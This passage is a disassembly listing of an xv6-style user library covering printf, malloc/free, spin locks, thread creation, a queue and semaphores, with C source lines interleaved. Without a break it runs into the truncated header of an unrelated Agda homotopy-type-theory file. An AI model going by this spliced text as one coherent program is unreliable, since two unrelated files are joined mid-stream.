25 00 00 movl $0x25,0x4(%esp) 735: 00 736: 8b 45 08 mov 0x8(%ebp),%eax 739: 89 04 24 mov %eax,(%esp) 73c: e8 a2 fd ff ff call 4e3 <putc> putc(fd, c); 741: 8b 45 e4 mov -0x1c(%ebp),%eax 744: 0f be c0 movsbl %al,%eax 747: 89 44 24 04 mov %eax,0x4(%esp) 74b: 8b 45 08 mov 0x8(%ebp),%eax 74e: 89 04 24 mov %eax,(%esp) 751: e8 8d fd ff ff call 4e3 <putc> } state = 0; 756: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 75d: 83 45 f0 01 addl $0x1,-0x10(%ebp) 761: 8b 55 0c mov 0xc(%ebp),%edx 764: 8b 45 f0 mov -0x10(%ebp),%eax 767: 01 d0 add %edx,%eax 769: 0f b6 00 movzbl (%eax),%eax 76c: 84 c0 test %al,%al 76e: 0f 85 71 fe ff ff jne 5e5 <printf+0x22> putc(fd, c); } state = 0; } } } 774: c9 leave 775: c3 ret 00000776 <free>: static Header base; static Header *freep; void free(void *ap) { 776: 55 push %ebp 777: 89 e5 mov %esp,%ebp 779: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; 77c: 8b 45 08 mov 0x8(%ebp),%eax 77f: 83 e8 08 sub $0x8,%eax 782: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 785: a1 ac 11 00 00 mov 0x11ac,%eax 78a: 89 45 fc mov %eax,-0x4(%ebp) 78d: eb 24 jmp 7b3 <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 78f: 8b 45 fc mov -0x4(%ebp),%eax 792: 8b 00 mov (%eax),%eax 794: 3b 45 fc cmp -0x4(%ebp),%eax 797: 77 12 ja 7ab <free+0x35> 799: 8b 45 f8 mov -0x8(%ebp),%eax 79c: 3b 45 fc cmp -0x4(%ebp),%eax 79f: 77 24 ja 7c5 <free+0x4f> 7a1: 8b 45 fc mov -0x4(%ebp),%eax 7a4: 8b 00 mov (%eax),%eax 7a6: 3b 45 f8 cmp -0x8(%ebp),%eax 7a9: 77 1a ja 7c5 <free+0x4f> free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 7ab: 8b 45 fc mov -0x4(%ebp),%eax 7ae: 8b 00 mov (%eax),%eax 7b0: 89 45 fc mov %eax,-0x4(%ebp) 7b3: 8b 45 f8 mov -0x8(%ebp),%eax 7b6: 3b 45 fc cmp -0x4(%ebp),%eax 7b9: 76 d4 jbe 78f <free+0x19> 7bb: 8b 45 fc mov -0x4(%ebp),%eax 7be: 8b 00 mov (%eax),%eax 7c0: 3b 45 f8 cmp -0x8(%ebp),%eax 7c3: 76 ca jbe 78f <free+0x19> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 7c5: 8b 45 f8 mov -0x8(%ebp),%eax 7c8: 8b 40 04 mov 0x4(%eax),%eax 7cb: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 7d2: 8b 45 f8 mov -0x8(%ebp),%eax 7d5: 01 c2 add %eax,%edx 7d7: 8b 45 fc mov -0x4(%ebp),%eax 7da: 8b 00 mov (%eax),%eax 7dc: 39 c2 cmp %eax,%edx 7de: 75 24 jne 804 <free+0x8e> bp->s.size += p->s.ptr->s.size; 7e0: 8b 45 f8 mov -0x8(%ebp),%eax 7e3: 8b 50 04 mov 0x4(%eax),%edx 7e6: 8b 45 fc mov -0x4(%ebp),%eax 7e9: 8b 00 mov (%eax),%eax 7eb: 8b 40 04 mov 0x4(%eax),%eax 7ee: 01 c2 add %eax,%edx 7f0: 8b 45 f8 mov -0x8(%ebp),%eax 7f3: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 7f6: 8b 45 fc mov -0x4(%ebp),%eax 7f9: 8b 00 mov (%eax),%eax 7fb: 8b 10 mov (%eax),%edx 7fd: 8b 45 f8 mov -0x8(%ebp),%eax 800: 89 10 mov %edx,(%eax) 802: eb 0a jmp 80e <free+0x98> } else bp->s.ptr = p->s.ptr; 804: 8b 45 fc mov -0x4(%ebp),%eax 807: 8b 10 mov (%eax),%edx 809: 8b 45 f8 mov -0x8(%ebp),%eax 80c: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 80e: 8b 45 fc mov -0x4(%ebp),%eax 811: 8b 40 04 mov 0x4(%eax),%eax 814: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 81b: 8b 45 fc mov -0x4(%ebp),%eax 81e: 01 d0 add %edx,%eax 820: 3b 45 f8 cmp -0x8(%ebp),%eax 823: 75 20 jne 845 <free+0xcf> p->s.size += bp->s.size; 825: 8b 45 fc mov -0x4(%ebp),%eax 828: 8b 50 04 mov 0x4(%eax),%edx 82b: 8b 45 f8 mov -0x8(%ebp),%eax 82e: 8b 40 04 mov 0x4(%eax),%eax 831: 01 c2 add %eax,%edx 833: 8b 45 fc mov -0x4(%ebp),%eax 836: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 839: 8b 45 f8 mov -0x8(%ebp),%eax 83c: 8b 10 mov (%eax),%edx 83e: 8b 45 fc mov -0x4(%ebp),%eax 841: 89 10 mov %edx,(%eax) 843: eb 08 jmp 84d <free+0xd7> } else p->s.ptr = bp; 845: 8b 45 fc mov -0x4(%ebp),%eax 848: 8b 55 f8 mov -0x8(%ebp),%edx 84b: 89 10 mov %edx,(%eax) freep = p; 84d: 8b 45 fc mov -0x4(%ebp),%eax 850: a3 ac 11 00 00 mov %eax,0x11ac } 855: c9 leave 856: c3 ret 00000857 <morecore>: static Header* morecore(uint nu) { 857: 55 push %ebp 858: 89 e5 mov %esp,%ebp 85a: 83 ec 28 sub $0x28,%esp char *p; Header *hp; if(nu < 4096) 85d: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 864: 77 07 ja 86d <morecore+0x16> nu = 4096; 866: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 86d: 8b 45 08 mov 0x8(%ebp),%eax 870: c1 e0 03 shl $0x3,%eax 873: 89 04 24 mov %eax,(%esp) 876: e8 28 fc ff ff call 4a3 <sbrk> 87b: 89 45 f4 mov %eax,-0xc(%ebp) if(p == (char*)-1) 87e: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 882: 75 07 jne 88b <morecore+0x34> return 0; 884: b8 00 00 00 00 mov $0x0,%eax 889: eb 22 jmp 8ad <morecore+0x56> hp = (Header*)p; 88b: 8b 45 f4 mov -0xc(%ebp),%eax 88e: 89 45 f0 mov %eax,-0x10(%ebp) hp->s.size = nu; 891: 8b 45 f0 mov -0x10(%ebp),%eax 894: 8b 55 08 mov 0x8(%ebp),%edx 897: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); 89a: 8b 45 f0 mov -0x10(%ebp),%eax 89d: 83 c0 08 add $0x8,%eax 8a0: 89 04 24 mov %eax,(%esp) 8a3: e8 ce fe ff ff call 776 <free> return freep; 8a8: a1 ac 11 00 00 mov 0x11ac,%eax } 8ad: c9 leave 8ae: c3 ret 000008af <malloc>: void* malloc(uint nbytes) { 8af: 55 push %ebp 8b0: 89 e5 mov %esp,%ebp 8b2: 83 ec 28 sub $0x28,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 8b5: 8b 45 08 mov 0x8(%ebp),%eax 8b8: 83 c0 07 add $0x7,%eax 8bb: c1 e8 03 shr $0x3,%eax 8be: 83 c0 01 add $0x1,%eax 8c1: 89 45 ec mov %eax,-0x14(%ebp) if((prevp = freep) == 0){ 8c4: a1 ac 11 00 00 mov 0x11ac,%eax 8c9: 89 45 f0 mov %eax,-0x10(%ebp) 8cc: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 8d0: 75 23 jne 8f5 <malloc+0x46> base.s.ptr = freep = prevp = &base; 8d2: c7 45 f0 a4 11 00 00 movl $0x11a4,-0x10(%ebp) 8d9: 8b 45 f0 mov -0x10(%ebp),%eax 8dc: a3 ac 11 00 00 mov %eax,0x11ac 8e1: a1 ac 11 00 00 mov 0x11ac,%eax 8e6: a3 a4 11 00 00 mov %eax,0x11a4 base.s.size = 0; 8eb: c7 05 a8 11 00 00 00 movl $0x0,0x11a8 8f2: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 8f5: 8b 45 f0 mov -0x10(%ebp),%eax 8f8: 8b 00 mov (%eax),%eax 8fa: 89 45 f4 mov %eax,-0xc(%ebp) if(p->s.size >= nunits){ 8fd: 8b 45 f4 mov -0xc(%ebp),%eax 900: 8b 40 04 mov 0x4(%eax),%eax 903: 3b 45 ec cmp -0x14(%ebp),%eax 906: 72 4d jb 955 <malloc+0xa6> if(p->s.size == nunits) 908: 8b 45 f4 mov -0xc(%ebp),%eax 90b: 8b 40 04 mov 0x4(%eax),%eax 90e: 3b 45 ec cmp -0x14(%ebp),%eax 911: 75 0c jne 91f <malloc+0x70> prevp->s.ptr = p->s.ptr; 913: 8b 45 f4 mov -0xc(%ebp),%eax 916: 8b 10 mov (%eax),%edx 918: 8b 45 f0 mov -0x10(%ebp),%eax 91b: 89 10 mov %edx,(%eax) 91d: eb 26 jmp 945 <malloc+0x96> else { p->s.size -= nunits; 91f: 8b 45 f4 mov -0xc(%ebp),%eax 922: 8b 40 04 mov 0x4(%eax),%eax 925: 2b 45 ec sub -0x14(%ebp),%eax 928: 89 c2 mov %eax,%edx 92a: 8b 45 f4 mov -0xc(%ebp),%eax 92d: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 930: 8b 45 f4 mov -0xc(%ebp),%eax 933: 8b 40 04 mov 0x4(%eax),%eax 936: c1 e0 03 shl $0x3,%eax 939: 01 45 f4 add %eax,-0xc(%ebp) p->s.size = nunits; 93c: 8b 45 f4 mov -0xc(%ebp),%eax 93f: 8b 55 ec mov -0x14(%ebp),%edx 942: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; 945: 8b 45 f0 mov -0x10(%ebp),%eax 948: a3 ac 11 00 00 mov %eax,0x11ac return (void*)(p + 1); 94d: 8b 45 f4 mov -0xc(%ebp),%eax 950: 83 c0 08 add $0x8,%eax 953: eb 38 jmp 98d <malloc+0xde> } if(p == freep) 955: a1 ac 11 00 00 mov 0x11ac,%eax 95a: 39 45 f4 cmp %eax,-0xc(%ebp) 95d: 75 1b jne 97a <malloc+0xcb> if((p = morecore(nunits)) == 0) 95f: 8b 45 ec mov -0x14(%ebp),%eax 962: 89 04 24 mov %eax,(%esp) 965: e8 ed fe ff ff call 857 <morecore> 96a: 89 45 f4 mov %eax,-0xc(%ebp) 96d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 971: 75 07 jne 97a <malloc+0xcb> return 0; 973: b8 00 00 00 00 mov $0x0,%eax 978: eb 13 jmp 98d <malloc+0xde> nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 97a: 8b 45 f4 mov -0xc(%ebp),%eax 97d: 89 45 f0 mov %eax,-0x10(%ebp) 980: 8b 45 f4 mov -0xc(%ebp),%eax 983: 8b 00 mov (%eax),%eax 985: 89 45 f4 mov %eax,-0xc(%ebp) return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } 988: e9 70 ff ff ff jmp 8fd <malloc+0x4e> } 98d: c9 leave 98e: c3 ret 0000098f <xchg>: asm volatile("sti"); } static inline uint xchg(volatile uint *addr, uint newval) { 98f: 55 push %ebp 990: 89 e5 mov %esp,%ebp 992: 83 ec 10 sub $0x10,%esp uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 995: 8b 55 08 mov 0x8(%ebp),%edx 998: 8b 45 0c mov 0xc(%ebp),%eax 99b: 8b 4d 08 mov 0x8(%ebp),%ecx 99e: f0 87 02 lock xchg %eax,(%edx) 9a1: 89 45 fc mov %eax,-0x4(%ebp) "+m" (*addr), "=a" (result) : "1" (newval) : "cc"); return result; 9a4: 8b 45 fc mov -0x4(%ebp),%eax } 9a7: c9 leave 9a8: c3 ret 000009a9 <lock_init>: #include "mmu.h" #include "spinlock.h" #include "x86.h" #include "proc.h" void lock_init(lock_t *lock){ 9a9: 55 push %ebp 9aa: 89 e5 mov %esp,%ebp lock->locked = 0; 9ac: 8b 45 08 mov 0x8(%ebp),%eax 9af: c7 00 00 00 00 00 movl $0x0,(%eax) } 9b5: 5d pop %ebp 9b6: c3 ret 000009b7 <lock_acquire>: void lock_acquire(lock_t *lock){ 9b7: 55 push %ebp 9b8: 89 e5 mov %esp,%ebp 9ba: 83 ec 08 sub $0x8,%esp while(xchg(&lock->locked,1) != 0); 9bd: 90 nop 9be: 8b 45 08 mov 0x8(%ebp),%eax 9c1: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 9c8: 00 9c9: 89 04 24 mov %eax,(%esp) 9cc: e8 be ff ff ff call 98f <xchg> 9d1: 85 c0 test %eax,%eax 9d3: 75 e9 jne 9be <lock_acquire+0x7> } 9d5: c9 leave 9d6: c3 ret 000009d7 <lock_release>: void lock_release(lock_t *lock){ 9d7: 55 push %ebp 9d8: 89 e5 mov %esp,%ebp 9da: 83 ec 08 sub $0x8,%esp xchg(&lock->locked,0); 9dd: 8b 45 08 mov 0x8(%ebp),%eax 9e0: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 9e7: 00 9e8: 89 04 24 mov %eax,(%esp) 9eb: e8 9f ff ff ff call 98f <xchg> } 9f0: c9 leave 9f1: c3 ret 000009f2 <thread_create>: void *thread_create(void(*start_routine)(void*), void *arg){ 9f2: 55 push %ebp 9f3: 89 e5 mov %esp,%ebp 9f5: 83 ec 28 sub $0x28,%esp int tid; void * stack = malloc(2 * 4096); 9f8: c7 04 24 00 20 00 00 movl $0x2000,(%esp) 9ff: e8 ab fe ff ff call 8af <malloc> a04: 89 45 f4 mov %eax,-0xc(%ebp) void *garbage_stack = stack; a07: 8b 45 f4 mov -0xc(%ebp),%eax a0a: 89 45 f0 mov %eax,-0x10(%ebp) // printf(1,"start routine addr : %d\n",(uint)start_routine); if((uint)stack % 4096){ a0d: 8b 45 f4 mov -0xc(%ebp),%eax a10: 25 ff 0f 00 00 and $0xfff,%eax a15: 85 c0 test %eax,%eax a17: 74 14 je a2d <thread_create+0x3b> stack = stack + (4096 - (uint)stack % 4096); a19: 8b 45 f4 mov -0xc(%ebp),%eax a1c: 25 ff 0f 00 00 and $0xfff,%eax a21: 89 c2 mov %eax,%edx a23: b8 00 10 00 00 mov $0x1000,%eax a28: 29 d0 sub %edx,%eax a2a: 01 45 f4 add %eax,-0xc(%ebp) } if (stack == 0){ a2d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) a31: 75 1b jne a4e <thread_create+0x5c> printf(1,"malloc fail \n"); a33: c7 44 24 04 5c 0d 00 movl $0xd5c,0x4(%esp) a3a: 00 a3b: c7 04 24 01 00 00 00 movl $0x1,(%esp) a42: e8 7c fb ff ff call 5c3 <printf> return 0; a47: b8 00 00 00 00 mov $0x0,%eax a4c: eb 6f jmp abd <thread_create+0xcb> } tid = clone((uint)stack,PSIZE,(uint)start_routine,(int)arg); a4e: 8b 4d 0c mov 0xc(%ebp),%ecx a51: 8b 55 08 mov 0x8(%ebp),%edx a54: 8b 45 f4 mov -0xc(%ebp),%eax a57: 89 4c 24 0c mov %ecx,0xc(%esp) a5b: 89 54 24 08 mov %edx,0x8(%esp) a5f: c7 44 24 04 00 10 00 movl $0x1000,0x4(%esp) a66: 00 a67: 89 04 24 mov %eax,(%esp) a6a: e8 4c fa ff ff call 4bb <clone> a6f: 89 45 ec mov %eax,-0x14(%ebp) if(tid < 0){ a72: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) a76: 79 1b jns a93 <thread_create+0xa1> printf(1,"clone fails\n"); a78: c7 44 24 04 6a 0d 00 movl $0xd6a,0x4(%esp) a7f: 00 a80: c7 04 24 01 00 00 00 movl $0x1,(%esp) a87: e8 37 fb ff ff call 5c3 <printf> return 0; a8c: b8 00 00 00 00 mov $0x0,%eax a91: eb 2a jmp abd <thread_create+0xcb> } if(tid > 0){ a93: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) a97: 7e 05 jle a9e <thread_create+0xac> //store threads on thread table return garbage_stack; a99: 8b 45 f0 mov -0x10(%ebp),%eax a9c: eb 1f jmp abd <thread_create+0xcb> } if(tid == 0){ a9e: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) aa2: 75 14 jne ab8 <thread_create+0xc6> printf(1,"tid = 0 return \n"); aa4: c7 44 24 04 77 0d 00 movl $0xd77,0x4(%esp) aab: 00 aac: c7 04 24 01 00 00 00 movl $0x1,(%esp) ab3: e8 0b fb ff ff call 5c3 <printf> } // wait(); // free(garbage_stack); return 0; ab8: b8 00 00 00 00 mov $0x0,%eax } abd: c9 leave abe: c3 ret 00000abf <random>: unsigned long rands = 1; // generate 0 -> max random number exclude max. int random(int max){ abf: 55 push %ebp ac0: 89 e5 mov %esp,%ebp rands = rands * 1664525 + 1013904233; ac2: a1 a0 11 00 00 mov 0x11a0,%eax ac7: 69 c0 0d 66 19 00 imul $0x19660d,%eax,%eax acd: 05 69 f3 6e 3c add $0x3c6ef369,%eax ad2: a3 a0 11 00 00 mov %eax,0x11a0 return (int)(rands % max); ad7: a1 a0 11 00 00 mov 0x11a0,%eax adc: 8b 4d 08 mov 0x8(%ebp),%ecx adf: ba 00 00 00 00 mov $0x0,%edx ae4: f7 f1 div %ecx ae6: 89 d0 mov %edx,%eax ae8: 5d pop %ebp ae9: c3 ret 00000aea <init_q>: #include "queue.h" #include "types.h" #include "user.h" void init_q(struct queue *q){ aea: 55 push %ebp aeb: 89 e5 mov %esp,%ebp q->size = 0; aed: 8b 45 08 mov 0x8(%ebp),%eax af0: c7 00 00 00 00 00 movl $0x0,(%eax) q->head = 0; af6: 8b 45 08 mov 0x8(%ebp),%eax af9: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) q->tail = 0; b00: 8b 45 08 mov 0x8(%ebp),%eax b03: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } b0a: 5d pop %ebp b0b: c3 ret 00000b0c <add_q>: void add_q(struct queue *q, int v){ b0c: 55 push %ebp b0d: 89 e5 mov %esp,%ebp b0f: 83 ec 28 sub $0x28,%esp struct node * n = malloc(sizeof(struct node)); b12: c7 04 24 08 00 00 00 movl $0x8,(%esp) b19: e8 91 fd ff ff call 8af <malloc> b1e: 89 45 f4 mov %eax,-0xc(%ebp) n->next = 0; b21: 8b 45 f4 mov -0xc(%ebp),%eax b24: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) n->value = v; b2b: 8b 45 f4 mov -0xc(%ebp),%eax b2e: 8b 55 0c mov 0xc(%ebp),%edx b31: 89 10 mov %edx,(%eax) if(q->head == 0){ b33: 8b 45 08 mov 0x8(%ebp),%eax b36: 8b 40 04 mov 0x4(%eax),%eax b39: 85 c0 test %eax,%eax b3b: 75 0b jne b48 <add_q+0x3c> q->head = n; b3d: 8b 45 08 mov 0x8(%ebp),%eax b40: 8b 55 f4 mov -0xc(%ebp),%edx b43: 89 50 04 mov %edx,0x4(%eax) b46: eb 0c jmp b54 <add_q+0x48> }else{ q->tail->next = n; b48: 8b 45 08 mov 0x8(%ebp),%eax b4b: 8b 40 08 mov 0x8(%eax),%eax b4e: 8b 55 f4 mov -0xc(%ebp),%edx b51: 89 50 04 mov %edx,0x4(%eax) } q->tail = n; b54: 8b 45 08 mov 0x8(%ebp),%eax b57: 8b 55 f4 mov -0xc(%ebp),%edx b5a: 89 50 08 mov %edx,0x8(%eax) q->size++; b5d: 8b 45 08 mov 0x8(%ebp),%eax b60: 8b 00 mov (%eax),%eax b62: 8d 50 01 lea 0x1(%eax),%edx b65: 8b 45 08 mov 0x8(%ebp),%eax b68: 89 10 mov %edx,(%eax) } b6a: c9 leave b6b: c3 ret 00000b6c <empty_q>: int empty_q(struct queue *q){ b6c: 55 push %ebp b6d: 89 e5 mov %esp,%ebp if(q->size == 0) b6f: 8b 45 08 mov 0x8(%ebp),%eax b72: 8b 00 mov (%eax),%eax b74: 85 c0 test %eax,%eax b76: 75 07 jne b7f <empty_q+0x13> return 1; b78: b8 01 00 00 00 mov $0x1,%eax b7d: eb 05 jmp b84 <empty_q+0x18> else return 0; b7f: b8 00 00 00 00 mov $0x0,%eax } b84: 5d pop %ebp b85: c3 ret 00000b86 <pop_q>: int pop_q(struct queue *q){ b86: 55 push %ebp b87: 89 e5 mov %esp,%ebp b89: 83 ec 28 sub $0x28,%esp int val; struct node *destroy; if(!empty_q(q)){ b8c: 8b 45 08 mov 0x8(%ebp),%eax b8f: 89 04 24 mov %eax,(%esp) b92: e8 d5 ff ff ff call b6c <empty_q> b97: 85 c0 test %eax,%eax b99: 75 5d jne bf8 <pop_q+0x72> val = q->head->value; b9b: 8b 45 08 mov 0x8(%ebp),%eax b9e: 8b 40 04 mov 0x4(%eax),%eax ba1: 8b 00 mov (%eax),%eax ba3: 89 45 f4 mov %eax,-0xc(%ebp) destroy = q->head; ba6: 8b 45 08 mov 0x8(%ebp),%eax ba9: 8b 40 04 mov 0x4(%eax),%eax bac: 89 45 f0 mov %eax,-0x10(%ebp) q->head = q->head->next; baf: 8b 45 08 mov 0x8(%ebp),%eax bb2: 8b 40 04 mov 0x4(%eax),%eax bb5: 8b 50 04 mov 0x4(%eax),%edx bb8: 8b 45 08 mov 0x8(%ebp),%eax bbb: 89 50 04 mov %edx,0x4(%eax) free(destroy); bbe: 8b 45 f0 mov -0x10(%ebp),%eax bc1: 89 04 24 mov %eax,(%esp) bc4: e8 ad fb ff ff call 776 <free> q->size--; bc9: 8b 45 08 mov 0x8(%ebp),%eax bcc: 8b 00 mov (%eax),%eax bce: 8d 50 ff lea -0x1(%eax),%edx bd1: 8b 45 08 mov 0x8(%ebp),%eax bd4: 89 10 mov %edx,(%eax) if(q->size == 0){ bd6: 8b 45 08 mov 0x8(%ebp),%eax bd9: 8b 00 mov (%eax),%eax bdb: 85 c0 test %eax,%eax bdd: 75 14 jne bf3 <pop_q+0x6d> q->head = 0; bdf: 8b 45 08 mov 0x8(%ebp),%eax be2: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) q->tail = 0; be9: 8b 45 08 mov 0x8(%ebp),%eax bec: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } return val; bf3: 8b 45 f4 mov -0xc(%ebp),%eax bf6: eb 05 jmp bfd <pop_q+0x77> } return -1; bf8: b8 ff ff ff ff mov $0xffffffff,%eax } bfd: c9 leave bfe: c3 ret 00000bff <sem_init>: #include "types.h" #include "user.h" #include "semaphore.h" void sem_init(struct semaphore *s, int size){ bff: 55 push %ebp c00: 89 e5 mov %esp,%ebp c02: 83 ec 18 sub $0x18,%esp s->size = size; c05: 8b 45 08 mov 0x8(%ebp),%eax c08: 8b 55 0c mov 0xc(%ebp),%edx c0b: 89 50 08 mov %edx,0x8(%eax) s->count = size; c0e: 8b 45 08 mov 0x8(%ebp),%eax c11: 8b 55 0c mov 0xc(%ebp),%edx c14: 89 50 04 mov %edx,0x4(%eax) lock_init(&s->lock); c17: 8b 45 08 mov 0x8(%ebp),%eax c1a: 89 04 24 mov %eax,(%esp) c1d: e8 87 fd ff ff call 9a9 <lock_init> } c22: c9 leave c23: c3 ret 00000c24 <sem_init_full>: void sem_init_full(struct semaphore *s, int size){ c24: 55 push %ebp c25: 89 e5 mov %esp,%ebp c27: 83 ec 18 sub $0x18,%esp s->size = size; c2a: 8b 45 08 mov 0x8(%ebp),%eax c2d: 8b 55 0c mov 0xc(%ebp),%edx c30: 89 50 08 mov %edx,0x8(%eax) s->count= 0; c33: 8b 45 08 mov 0x8(%ebp),%eax c36: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) lock_init(&s->lock); c3d: 8b 45 08 mov 0x8(%ebp),%eax c40: 89 04 24 mov %eax,(%esp) c43: e8 61 fd ff ff call 9a9 <lock_init> } c48: c9 leave c49: c3 ret 00000c4a <sem_aquire>: //Attempts to aquire a lock. If count is not //full then we will add the process to the list of //processes holding the lock. void sem_aquire(struct semaphore * s){ c4a: 55 push %ebp c4b: 89 e5 mov %esp,%ebp c4d: 83 ec 28 sub $0x28,%esp //Disable interrupts? nah //We need to only get a hold of waiters? //If count is full then place proccess on waiters list //Else add to the holding list lock_acquire(&s->lock); c50: 8b 45 08 mov 0x8(%ebp),%eax c53: 89 04 24 mov %eax,(%esp) c56: e8 5c fd ff ff call 9b7 <lock_acquire> if(s->count == 0){ c5b: 8b 45 08 mov 0x8(%ebp),%eax c5e: 8b 40 04 mov 0x4(%eax),%eax c61: 85 c0 test %eax,%eax c63: 75 2f jne c94 <sem_aquire+0x4a> //printf(1, "Sem F\n"); //add proc to waiters list int tid = getpid(); c65: e8 31 f8 ff ff call 49b <getpid> c6a: 89 45 f4 mov %eax,-0xc(%ebp) //place requesting process to sleep add_q(&s->waiters, tid); //Add process to queue c6d: 8b 45 08 mov 0x8(%ebp),%eax c70: 8d 50 0c lea 0xc(%eax),%edx c73: 8b 45 f4 mov -0xc(%ebp),%eax c76: 89 44 24 04 mov %eax,0x4(%esp) c7a: 89 14 24 mov %edx,(%esp) c7d: e8 8a fe ff ff call b0c <add_q> //printf(1, " Added to waiters semaphore with size: %d\n", s->size); lock_release(&s->lock); c82: 8b 45 08 mov 0x8(%ebp),%eax c85: 89 04 24 mov %eax,(%esp) c88: e8 4a fd ff ff call 9d7 <lock_release> tsleep(); c8d: e8 39 f8 ff ff call 4cb <tsleep> c92: eb 1a jmp cae <sem_aquire+0x64> } else{ //printf(1, "Sem A\n"); s->count--; c94: 8b 45 08 mov 0x8(%ebp),%eax c97: 8b 40 04 mov 0x4(%eax),%eax c9a: 8d 50 ff lea -0x1(%eax),%edx c9d: 8b 45 08 mov 0x8(%ebp),%eax ca0: 89 50 04 mov %edx,0x4(%eax) lock_release(&s->lock); ca3: 8b 45 08 mov 0x8(%ebp),%eax ca6: 89 04 24 mov %eax,(%esp) ca9: e8 29 fd ff ff call 9d7 <lock_release> } } cae: c9 leave caf: c3 ret 00000cb0 <sem_signal>: //Removes a process from a lock and decreases count //to indicate that more process can hold the lock. void sem_signal(struct semaphore * s){ cb0: 55 push %ebp cb1: 89 e5 mov %esp,%ebp cb3: 83 ec 28 sub $0x28,%esp //printf(1, "Sem R\n"); //If count is full then place proccess on waiters list lock_acquire(&s->lock); cb6: 8b 45 08 mov 0x8(%ebp),%eax cb9: 89 04 24 mov %eax,(%esp) cbc: e8 f6 fc ff ff call 9b7 <lock_acquire> if(s->count < s->size){ cc1: 8b 45 08 mov 0x8(%ebp),%eax cc4: 8b 50 04 mov 0x4(%eax),%edx cc7: 8b 45 08 mov 0x8(%ebp),%eax cca: 8b 40 08 mov 0x8(%eax),%eax ccd: 39 c2 cmp %eax,%edx ccf: 7d 0f jge ce0 <sem_signal+0x30> s->count++; cd1: 8b 45 08 mov 0x8(%ebp),%eax cd4: 8b 40 04 mov 0x4(%eax),%eax cd7: 8d 50 01 lea 0x1(%eax),%edx cda: 8b 45 08 mov 0x8(%ebp),%eax cdd: 89 50 04 mov %edx,0x4(%eax) } int tid; tid = pop_q(&s->waiters); ce0: 8b 45 08 mov 0x8(%ebp),%eax ce3: 83 c0 0c add $0xc,%eax ce6: 89 04 24 mov %eax,(%esp) ce9: e8 98 fe ff ff call b86 <pop_q> cee: 89 45 f4 mov %eax,-0xc(%ebp) if(tid != -1){ cf1: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) cf5: 74 2e je d25 <sem_signal+0x75> //printf(1, "Sem A\n"); twakeup(tid); cf7: 8b 45 f4 mov -0xc(%ebp),%eax cfa: 89 04 24 mov %eax,(%esp) cfd: e8 d1 f7 ff ff call 4d3 <twakeup> s->count--; d02: 8b 45 08 mov 0x8(%ebp),%eax d05: 8b 40 04 mov 0x4(%eax),%eax d08: 8d 50 ff lea -0x1(%eax),%edx d0b: 8b 45 08 mov 0x8(%ebp),%eax d0e: 89 50 04 mov %edx,0x4(%eax) if(s->count < 0) s->count = 0; d11: 8b 45 08 mov 0x8(%ebp),%eax d14: 8b 40 04 mov 0x4(%eax),%eax d17: 85 c0 test %eax,%eax d19: 79 0a jns d25 <sem_signal+0x75> d1b: 8b 45 08 mov 0x8(%ebp),%eax d1e: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) } lock_release(&s->lock); d25: 8b 45 08 mov 0x8(%ebp),%eax d28: 89 04 24 mov %eax,(%esp) d2b: e8 a7 fc ff ff call 9d7 <lock_release> d30: c9 leave d31: c3 ret
Universe/Trunc/Basics.agda
sattlerc/HoTT-Agda
0
1248
<reponame>sattlerc/HoTT-Agda<gh_stars>0 {-# OPTIONS --without-K #-} {- Here, truncations with propositional computational behaviour are defined. This lack of a definitional β-rule enabled us to talk about this notion inside type theory without truncations, albeit complicating setup and proofs. After definition and basic accessories concerning universal properties, recursion and elimination, we prove that truncation is functorial. With this, we turn our attention to the problem of uniqueness of truncation, i.e. the type of truncations of a given type being propositional. -} module Universe.Trunc.Basics where open import lib.Basics open import lib.NType2 open import lib.Equivalences2 open import lib.types.Unit open import lib.types.Nat hiding (_+_) open import lib.types.Pi open import lib.types.Sigma open import lib.types.Paths open 